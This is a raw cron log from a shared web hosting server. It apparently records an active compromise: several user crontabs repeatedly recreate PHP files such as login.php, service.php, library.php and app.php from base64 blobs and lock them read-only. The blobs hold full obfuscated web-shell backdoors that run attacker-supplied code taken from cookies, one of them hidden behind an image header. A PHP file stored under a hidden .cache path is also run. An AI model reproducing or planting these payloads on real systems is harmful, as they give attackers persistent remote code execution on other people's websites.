Mar  1 13:56:01 medusa CROND[4827]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 13:56:01 medusa CROND[4828]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:56:01 medusa CROND[4832]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 13:56:01 medusa CROND[4843]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 13:57:01 medusa CROND[28754]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 13:57:01 medusa CROND[28755]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 13:57:01 medusa CROND[28756]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 13:57:01 medusa CROND[28757]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:57:01 medusa CROND[28758]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:57:01 medusa CROND[28759]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:57:01 medusa CROND[28760]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:57:01 medusa CROND[28764]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 13:57:01 medusa CROND[28765]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 13:57:01 medusa CROND[28771]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 13:57:01 medusa CROND[28763]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 13:57:01 medusa CROND[28779]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 13:58:02 medusa CROND[20785]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:58:02 medusa CROND[20786]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  1 13:58:02 medusa CROND[20787]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 13:58:02 medusa CROND[20788]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 13:58:02 medusa CROND[20789]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 13:58:02 medusa CROND[20790]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 13:58:02 medusa CROND[20791]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 13:58:02 medusa CROND[20792]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 13:58:02 medusa CROND[20793]: (cuartop) CMD (ls)
Mar  1 13:58:02 medusa CROND[20796]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:58:02 medusa CROND[20799]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 13:58:02 medusa CROND[20801]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:58:02 medusa CROND[20802]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 13:58:02 medusa CROND[20803]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 13:58:02 medusa CROND[20822]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:59:01 medusa CROND[12629]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 13:59:01 medusa CROND[12630]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
